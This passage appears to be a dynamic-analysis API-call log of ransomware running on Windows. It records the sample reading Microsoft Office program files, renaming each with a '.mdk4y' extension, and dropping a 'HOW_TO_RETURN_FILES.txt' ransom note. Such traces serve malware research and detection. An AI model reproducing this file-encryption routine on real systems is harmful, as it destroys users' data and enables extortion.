QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830447700000) returned 1 [0229.247] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x1374c, lpOverlapped=0x0) returned 1 [0229.263] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830449300000) returned 1 [0229.263] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830449300000) returned 1 [0229.264] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OLKIRM.XML" (normalized: "c:\\program files\\microsoft office\\office14\\olkirm.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OLKIRM.XML.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\olkirm.xml.mdk4y")) returned 1 [0229.267] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0229.267] AreFileApisANSI () returned 1 [0229.267] GetACP () returned 0x4e4 [0229.267] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="OLKIRMV.XML", cchWideChar=11, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="OLKIRMV.XMLL", lpUsedDefaultChar=0x37dfd8) returned 11 [0229.267] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OLKIRMV.XML" (normalized: "c:\\program files\\microsoft office\\office14\\olkirmv.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0229.268] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830449800000) returned 1 [0229.268] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x13594, lpOverlapped=0x0) returned 1 [0229.300] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830453000000) returned 1 [0229.300] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830453000000) returned 1 [0229.301] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OLKIRMV.XML" (normalized: "c:\\program files\\microsoft office\\office14\\olkirmv.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OLKIRMV.XML.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\olkirmv.xml.mdk4y")) returned 1 [0229.303] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0229.303] AreFileApisANSI () returned 1 [0229.304] GetACP () returned 0x4e4 [0229.304] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="OLMAPI32.DLL", cchWideChar=12, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="OLMAPI32.DLL", lpUsedDefaultChar=0x37dfd8) returned 12 [0229.304] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OLMAPI32.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\olmapi32.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0229.304] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830453400000) returned 1 [0229.304] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x100000, lpOverlapped=0x0) returned 1 [0229.340] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830457000000) returned 1 [0229.340] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830457000000) returned 1 [0229.349] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OLMAPI32.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\olmapi32.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OLMAPI32.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\olmapi32.dll.mdk4y")) returned 1 [0229.352] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0229.352] AreFileApisANSI () returned 1 [0229.352] GetACP () returned 0x4e4 [0229.352] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="OMML2MML.XSL", cchWideChar=12, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="OMML2MML.XSL", lpUsedDefaultChar=0x37dfd8) returned 12 [0229.352] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OMML2MML.XSL" (normalized: "c:\\program files\\microsoft office\\office14\\omml2mml.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0229.353] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830458300000) returned 1 [0229.353] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x172bc, lpOverlapped=0x0) returned 1 [0229.386] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830461600000) returned 1 [0229.386] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830461600000) returned 1 [0229.387] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OMML2MML.XSL" (normalized: "c:\\program files\\microsoft office\\office14\\omml2mml.xsl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OMML2MML.XSL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\omml2mml.xsl.mdk4y")) returned 1 [0229.390] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0229.390] AreFileApisANSI () returned 1 [0229.390] GetACP () returned 0x4e4 [0229.390] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="OMSMAIN.DLL", cchWideChar=11, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="OMSMAIN.DLLL", lpUsedDefaultChar=0x37dfd8) returned 11 [0229.390] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OMSMAIN.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\omsmain.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0229.391] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830462100000) returned 1 [0229.391] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x100000, lpOverlapped=0x0) returned 1 [0229.463] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830469300000) returned 1 [0229.463] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830469300000) returned 1 [0229.471] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OMSMAIN.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\omsmain.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OMSMAIN.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\omsmain.dll.mdk4y")) returned 1 [0229.475] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0229.475] AreFileApisANSI () returned 1 [0229.475] GetACP () returned 0x4e4 [0229.476] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="OMSXP32.DLL", cchWideChar=11, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="OMSXP32.DLL", lpUsedDefaultChar=0x37dfd8) returned 11 [0229.476] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OMSXP32.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\omsxp32.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0229.476] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830470600000) returned 1 [0229.476] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x59d90, lpOverlapped=0x0) returned 1 [0229.493] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830472300000) returned 1 [0229.493] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830472300000) returned 1 [0229.496] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OMSXP32.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\omsxp32.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OMSXP32.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\omsxp32.dll.mdk4y")) returned 1 [0229.498] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0229.498] AreFileApisANSI () returned 1 [0229.498] GetACP () returned 0x4e4 [0229.498] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ONBttnIE.dll", cchWideChar=12, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="ONBttnIE.dll", lpUsedDefaultChar=0x37dfd8) returned 12 [0229.498] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0229.498] AreFileApisANSI () returned 1 [0229.498] GetACP () returned 0x4e4 [0229.498] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ONBttnIELinkedNotes.dll", cchWideChar=23, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="ONBttnIELinkedNotes.dll", lpUsedDefaultChar=0x37dfd8) returned 23 [0229.498] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0229.498] AreFileApisANSI () returned 1 [0229.498] GetACP () returned 0x4e4 [0229.498] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ONBttnOL.dll", cchWideChar=12, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="ONBttnOL.dlledNotes.dll", lpUsedDefaultChar=0x37dfd8) returned 12 [0229.498] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0229.499] AreFileApisANSI () returned 1 [0229.499] GetACP () returned 0x4e4 [0229.499] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ONBttnPPT.dll", cchWideChar=13, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="ONBttnPPT.dlldNotes.dll", lpUsedDefaultChar=0x37dfd8) returned 13 [0229.499] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0229.499] AreFileApisANSI () returned 1 [0229.499] GetACP () returned 0x4e4 [0229.499] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ONBttnWD.dll", cchWideChar=12, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="ONBttnWD.dlll", lpUsedDefaultChar=0x37dfd8) returned 12 [0229.499] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0229.499] AreFileApisANSI () returned 1 [0229.499] GetACP () returned 0x4e4 [0229.499] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="OneNote", cchWideChar=7, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="OneNoteD.dll", lpUsedDefaultChar=0x37dfd8) returned 7 [0229.499] AreFileApisANSI () returned 1 [0229.499] GetACP () returned 0x4e4 [0229.499] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x69d210, cbMultiByte=51, lpWideCharStr=0x37dd6c, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Microsoft Office\\Office14\\OneNote\\") returned 51 [0229.554] AreFileApisANSI () returned 1 [0229.554] GetACP () returned 0x4e4 [0229.554] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr=".", lpUsedDefaultChar=0x37df4c) returned 1 [0229.554] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0229.554] AreFileApisANSI () returned 1 [0229.554] GetACP () returned 0x4e4 [0229.554] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="..:", lpUsedDefaultChar=0x37df4c) returned 2 [0229.554] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0229.554] AreFileApisANSI () returned 1 [0229.554] GetACP () returned 0x4e4 [0229.554] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SendToOneNote-PipelineConfig.xml", cchWideChar=32, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SendToOneNote-PipelineConfig.xml\\", lpUsedDefaultChar=0x37df4c) returned 32 [0229.554] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OneNote\\SendToOneNote-PipelineConfig.xml" (normalized: "c:\\program files\\microsoft office\\office14\\onenote\\sendtoonenote-pipelineconfig.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0229.558] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830478800000) returned 1 [0229.558] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1fa, lpOverlapped=0x0) returned 1 [0229.559] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830478900000) returned 1 [0229.559] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830478900000) returned 1 [0229.560] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OneNote\\SendToOneNote-PipelineConfig.xml" (normalized: "c:\\program files\\microsoft office\\office14\\onenote\\sendtoonenote-pipelineconfig.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OneNote\\SendToOneNote-PipelineConfig.xml.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\onenote\\sendtoonenote-pipelineconfig.xml.mdk4y")) returned 1 [0229.563] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0229.563] AreFileApisANSI () returned 1 [0229.563] GetACP () returned 0x4e4 [0229.563] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SendToOneNote.gpd", cchWideChar=17, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SendToOneNote.gpdelineConfig.xml", lpUsedDefaultChar=0x37df4c) returned 17 [0229.563] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OneNote\\SendToOneNote.gpd" (normalized: "c:\\program files\\microsoft office\\office14\\onenote\\sendtoonenote.gpd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0229.605] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830483500000) returned 1 [0229.605] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x2580, lpOverlapped=0x0) returned 1 [0229.643] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830487300000) returned 1 [0229.643] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830487300000) returned 1 [0229.644] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OneNote\\SendToOneNote.gpd" (normalized: "c:\\program files\\microsoft office\\office14\\onenote\\sendtoonenote.gpd"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OneNote\\SendToOneNote.gpd.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\onenote\\sendtoonenote.gpd.mdk4y")) returned 1 [0229.647] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0229.648] AreFileApisANSI () returned 1 [0229.648] GetACP () returned 0x4e4 [0229.648] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SendToOneNote.ini", cchWideChar=17, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SendToOneNote.ini", lpUsedDefaultChar=0x37df4c) returned 17 [0229.648] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0229.648] AreFileApisANSI () returned 1 [0229.648] GetACP () returned 0x4e4 [0229.648] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SendToOneNOteFilter.dll", cchWideChar=23, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SendToOneNOteFilter.dllonfig.xml", lpUsedDefaultChar=0x37df4c) returned 23 [0229.648] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0229.648] AreFileApisANSI () returned 1 [0229.648] GetACP () returned 0x4e4 [0229.648] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SendtoOneNoteFilter.gpd", cchWideChar=23, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SendtoOneNoteFilter.gpd", lpUsedDefaultChar=0x37df4c) returned 23 [0229.648] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OneNote\\SendtoOneNoteFilter.gpd" (normalized: "c:\\program files\\microsoft office\\office14\\onenote\\sendtoonenotefilter.gpd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0229.649] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830487900000) returned 1 [0229.649] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x51, lpOverlapped=0x0) returned 1 [0229.649] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830487900000) returned 1 [0229.649] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830487900000) returned 1 [0229.650] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OneNote\\SendtoOneNoteFilter.gpd" (normalized: "c:\\program files\\microsoft office\\office14\\onenote\\sendtoonenotefilter.gpd"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OneNote\\SendtoOneNoteFilter.gpd.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\onenote\\sendtoonenotefilter.gpd.mdk4y")) returned 1 [0229.651] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0229.651] AreFileApisANSI () returned 1 [0229.651] GetACP () returned 0x4e4 [0229.651] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SendToOneNoteNames.gpd", cchWideChar=22, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SendToOneNoteNames.gpdd", lpUsedDefaultChar=0x37df4c) returned 22 [0229.651] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OneNote\\SendToOneNoteNames.gpd" (normalized: "c:\\program files\\microsoft office\\office14\\onenote\\sendtoonenotenames.gpd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0229.652] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830488200000) returned 1 [0229.652] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1ca2, lpOverlapped=0x0) returned 1 [0229.654] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830488400000) returned 1 [0229.654] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830488400000) returned 1 [0229.654] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OneNote\\SendToOneNoteNames.gpd" (normalized: "c:\\program files\\microsoft office\\office14\\onenote\\sendtoonenotenames.gpd"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OneNote\\SendToOneNoteNames.gpd.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\onenote\\sendtoonenotenames.gpd.mdk4y")) returned 1 [0229.657] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0229.657] AreFileApisANSI () returned 1 [0229.657] GetACP () returned 0x4e4 [0229.657] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SendToOneNoteUI.dll", cchWideChar=19, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SendToOneNoteUI.dllgpd", lpUsedDefaultChar=0x37df4c) returned 19 [0229.657] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 0 [0229.657] FindClose (in: hFindFile=0x6ab310 | out: hFindFile=0x6ab310) returned 1 [0229.659] AreFileApisANSI () returned 1 [0229.659] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6b9f70, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 75 [0229.659] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OneNote\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\onenote\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dc84, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0229.660] GetFileType (hFile=0x12c) returned 0x1 [0229.662] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0229.662] AreFileApisANSI () returned 1 [0229.662] GetACP () returned 0x4e4 [0229.662] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ONENOTE.EXE", cchWideChar=11, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="ONENOTE.EXEl", lpUsedDefaultChar=0x37dfd8) returned 11 [0229.662] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ONENOTE.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\onenote.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0229.663] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830489300000) returned 1 [0229.663] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x100000, lpOverlapped=0x0) returned 1 [0229.725] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830495500000) returned 1 [0229.725] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830495500000) returned 1 [0229.798] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\ONENOTE.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\onenote.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\ONENOTE.EXE.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\onenote.exe.mdk4y")) returned 1 [0229.801] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0229.801] AreFileApisANSI () returned 1 [0229.801] GetACP () returned 0x4e4 [0229.801] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ONENOTEIRM.XML", cchWideChar=14, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="ONENOTEIRM.XMLNotes.dll", lpUsedDefaultChar=0x37dfd8) returned 14 [0229.801] CreateFileA (lpFileName="C:\\Program 